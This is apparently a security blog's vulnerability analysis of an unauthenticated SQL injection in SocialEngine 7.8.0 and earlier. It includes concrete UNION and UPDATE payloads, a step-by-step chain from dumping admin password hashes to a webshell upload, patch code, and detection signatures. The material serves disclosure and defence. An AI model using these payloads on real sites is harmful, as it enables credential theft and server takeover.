home intel cve-2026-41460-socialengine-sqli-rce
CVE Analysis 2026-04-23 · 8 min read

CVE-2026-41460: SocialEngine get-memberall SQLi to RCE

Unauthenticated SQL injection in SocialEngine ≤7.8.0 via the `text` parameter of `/activity/index/get-memberall` enables full database read, admin password reset, and RCE via Packages Manager.

#sql-injection#remote-code-execution#authentication-bypass#database-manipulation#unauthenticated-exploit
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41460 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41460Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41460 is a critical (CVSS 9.8) unauthenticated SQL injection vulnerability in SocialEngine versions 7.8.0 and prior, discovered by Egidio Romano of Karma(In)Security. The vulnerable endpoint, /activity/index/get-memberall, accepts a text parameter that is directly interpolated into a SQL query without sanitization or parameterization. No authentication is required to reach the endpoint. Full exploitation yields arbitrary database reads, admin credential reset, and — via the admin Packages Manager — remote code execution on the underlying server.

As of public disclosure on 2026-04-23, no official patch exists. The vendor's demo server was silently fixed, but no patched release has been published.

Root cause: User-supplied text parameter is concatenated directly into a SQL LIKE query inside the get-memberall action without escaping, parameterized binding, or any input validation.

Affected Component

The vulnerable endpoint maps to the Activity module's index controller. In SocialEngine's Zend Framework–based MVC layout, this resolves to:

application/modules/Activity/controllers/IndexController.php
  -> Action: getMemberallAction()
  -> Endpoint: GET/POST /activity/index/get-memberall?text=<PAYLOAD>
  -> Auth required: No (public endpoint, used by member search autocomplete)
  -> Backend DB: MySQL (PDO or legacy Zend_Db adapter, unparameterized path)

The endpoint is designed to return a JSON list of members matching a search prefix — a classic autocomplete pattern that feeds the activity feed's @mention feature. Because it targets a front-facing, publicly accessible controller action, there is zero authentication barrier.

Root Cause Analysis

The following pseudocode reconstructs the vulnerable controller action based on SocialEngine's standard Zend Framework controller pattern and the observed injection behavior:

// File: application/modules/Activity/controllers/IndexController.php
// Action: getMemberallAction()
// BUG: $text is pulled directly from request params with no sanitization

public function getMemberallAction() {
    // Attacker-controlled input — no escaping, no binding
    $text = $this->_getParam('text', '');   // BUG: raw user input

    $db     = Engine_Db_Table::getDefaultAdapter();

    // BUG: string concatenation into raw SQL — classic injection vector
    $select = $db->select()
        ->from('engine4_users', array('user_id', 'displayname', 'photo_id'))
        ->where("displayname LIKE '%" . $text . "%'")  // BUG: unsanitized $text
        ->limit(10);

    $result = $db->fetchAll($select);

    // Response serialized directly to JSON
    $this->_helper->json($result);
}

The where() call uses raw string concatenation rather than a parameterized placeholder (e.g., ->where("displayname LIKE ?", '%' . $text . '%')). Zend_Db's where() method does support automatic quoting when a second argument is passed, but here the entire string — including the user value — is passed as a single unquoted literal. This is a textbook first-order in-band SQL injection.

The injection context is inside a single-quoted string within a LIKE clause:

SELECT user_id, displayname, photo_id
FROM engine4_users
WHERE displayname LIKE '%[TEXT]%'
LIMIT 10

-- Injected payload (example):
TEXT = %' UNION SELECT 1,user_id,email FROM engine4_users-- -

-- Resulting query:
SELECT user_id, displayname, photo_id
FROM engine4_users
WHERE displayname LIKE '%%' UNION SELECT 1,user_id,email FROM engine4_users-- -%'
LIMIT 10

Exploitation Mechanics

Because the response is reflected directly in the JSON body, this is a straightforward in-band UNION-based injection. The column count is fixed at 3 (user_id, displayname, photo_id), making UNION construction trivial.

EXPLOIT CHAIN:

1. RECON — Confirm injection and column count:
   GET /activity/index/get-memberall?text=%25'%20ORDER%20BY%203--%20-
   -> No error = 3 columns confirmed

2. UNION DUMP — Extract admin credentials from engine4_users:
   text=%25' UNION SELECT user_id,email,password FROM engine4_users
            WHERE is_super_admin=1-- -
   -> JSON response leaks admin email + hashed password

3. PASSWORD RESET — If hash is bcrypt and not crackable, use SQLi
   to write a known hash directly (requires FILE/UPDATE privilege):
   text=%25' UNION SELECT 1,(SELECT password FROM engine4_users
            WHERE is_super_admin=1),3-- -
   -> Retrieve current hash, then:
   text=%25'; UPDATE engine4_users SET password='[known_hash]'
            WHERE is_super_admin=1-- -
   -> Admin account now has attacker-controlled password

4. ADMIN LOGIN — Authenticate to /admin with reset credentials.
   Navigate to Admin Panel -> Packages Manager.

5. RCE VIA PACKAGES MANAGER — Upload a malicious .tgz package
   containing a PHP webshell inside the expected module directory
   structure. SocialEngine's Packages Manager extracts and installs
   the archive server-side without adequate validation.

6. WEBSHELL EXECUTION:
   GET /application/modules/Malicious/webshell.php?cmd=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3 requires UPDATE privilege for the DB user, which is common in shared-hosting SocialEngine deployments where a single DB user owns the entire schema. Even without it, the hash dump in step 2 is frequently sufficient — SocialEngine historically used MD5 for legacy installs.

The Karma(In)Security PoC (CVE-2026-41460.php) automates steps 1–2 and demonstrates the UNION read path.

Memory Layout

This is a SQL injection vulnerability, not a memory corruption bug, so a heap layout diagram is not applicable. Instead, the relevant "state" is the query parse tree before and after injection:

QUERY STATE — BENIGN REQUEST:
  text = "alice"
  ┌─────────────────────────────────────────────────────────┐
  │ SELECT user_id, displayname, photo_id                   │
  │ FROM engine4_users                                      │
  │ WHERE displayname LIKE '%alice%'                        │
  │ LIMIT 10                                                │
  └─────────────────────────────────────────────────────────┘
  Result: rows where displayname matches 'alice' — safe.

QUERY STATE — INJECTED REQUEST:
  text = "%' UNION SELECT user_id,email,password FROM engine4_users WHERE is_super_admin=1-- -"
  ┌─────────────────────────────────────────────────────────┐
  │ SELECT user_id, displayname, photo_id                   │
  │ FROM engine4_users                                      │
  │ WHERE displayname LIKE '%%'                             │ <- original clause terminates early
  │ UNION                                                   │ <- attacker-appended
  │ SELECT user_id, email, password                         │ <- maps to displayname, photo_id cols
  │ FROM engine4_users                                      │
  │ WHERE is_super_admin=1-- -%'                            │ <- original close-quote commented out
  └─────────────────────────────────────────────────────────┘
  Result: admin user_id, email, password hash leaked in JSON.

JSON RESPONSE (redacted):
  [{"user_id":"1","displayname":"admin@target.com","photo_id":"$2y$10$..."}]
                                  ^^ email leaked          ^^ bcrypt hash leaked

Patch Analysis

No official patch has been released as of disclosure. The vendor silently fixed the demo server. The correct fix requires switching from string concatenation to parameterized query binding. The Zend_Db API supports this natively via the second argument to where():

// BEFORE (vulnerable — CVE-2026-41460):
$text   = $this->_getParam('text', '');
$select = $db->select()
    ->from('engine4_users', array('user_id', 'displayname', 'photo_id'))
    ->where("displayname LIKE '%" . $text . "%'")   // BUG: raw concat
    ->limit(10);

// AFTER (patched):
$text   = $this->_getParam('text', '');
$safe   = '%' . $text . '%';                        // FIX: value isolated
$select = $db->select()
    ->from('engine4_users', array('user_id', 'displayname', 'photo_id'))
    ->where("displayname LIKE ?", $safe)            // FIX: parameterized binding
    ->limit(10);                                    //      Zend_Db quotes $safe

The one-argument form of where() in Zend_Db performs no escaping. The two-argument form invokes quoteInto(), which calls PDO::quote() or the equivalent adapter method. The difference is a single additional argument — a trivial fix that was not made across at least two release cycles (7.7.0 → 7.8.0).

A defense-in-depth fix should also add an input length cap and authentication middleware on the endpoint if member enumeration is not intended to be public:

// DEFENSE IN DEPTH additions:
$text = substr(trim($this->_getParam('text', '')), 0, 64); // cap length
if (strlen($text) < 2) {                                   // min length gate
    return $this->_helper->json(array());
}
// Require session auth if member list should not be public:
if (!$viewer || !$viewer->getIdentity()) {
    return $this->_helper->json(array('error' => 'unauthorized'));
}

Detection and Indicators

The injection is trivially detectable in access logs. Look for the following patterns in HTTP logs against the /activity/index/get-memberall path:

DETECTION SIGNATURES:

-- Web server access log patterns (regex):
/activity/index/get-memberall.*text=.*(%27|'|UNION|SELECT|FROM|WHERE|--|%2D%2D)

-- Specific sqlmap fingerprints (default tamper):
text=%25%27%20AND%20SLEEP(5)--%20-          <- time-based blind probe
text=%25%27%20ORDER%20BY%20[0-9]+--%20-     <- column count enumeration
text=%25%27%20UNION%20SELECT%20NULL--%20-   <- UNION null probe

-- Suricata/Snort content match:
content:"/activity/index/get-memberall"; content:"UNION"; nocase;
content:"/activity/index/get-memberall"; content:"SELECT"; nocase;

-- MySQL general query log indicators:
Query: SELECT * FROM engine4_users WHERE displayname LIKE '%' UNION SELECT%
  -> Any UNION appearing inside a LIKE clause on this table is anomalous.

-- Application-level: unexpected JSON responses containing email addresses
   or bcrypt hashes ($2y$) in the displayname/photo_id fields.

Remediation

Immediate mitigations (no patch available):

  • Deploy a WAF rule blocking UNION, SELECT, --, and single-quote sequences in the text parameter on the /activity/index/get-memberall path. This is a temporary control — WAF bypass is trivial for a determined attacker.
  • If the endpoint is not required for public (unauthenticated) users, add an .htaccess or nginx location block requiring a valid session cookie before the request reaches PHP.
  • Rotate all admin passwords and audit engine4_users for unexpected is_super_admin=1 rows immediately if the endpoint has been exposed to the internet.
  • Review Packages Manager installation logs for unexpected module installs.

Long-term (vendor action required):

  • Vendor must issue a patched release applying parameterized queries across all user-facing controller actions. The fix is a one-line change per affected query.
  • A full audit of all IndexController and module action endpoints is warranted — the same concatenation pattern may exist elsewhere in the codebase.
  • Enable PHP's PDO emulated prepares off (PDO::ATTR_EMULATE_PREPARES => false) at the DB adapter level as a systemic control.

Given that the vendor shipped version 7.8.0 after being notified of this vulnerability without fixing it, and that no patch exists 80+ days post-notification, operators should treat this as an actively dangerous unpatched condition and consider taking the affected installation offline until a fix is available.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →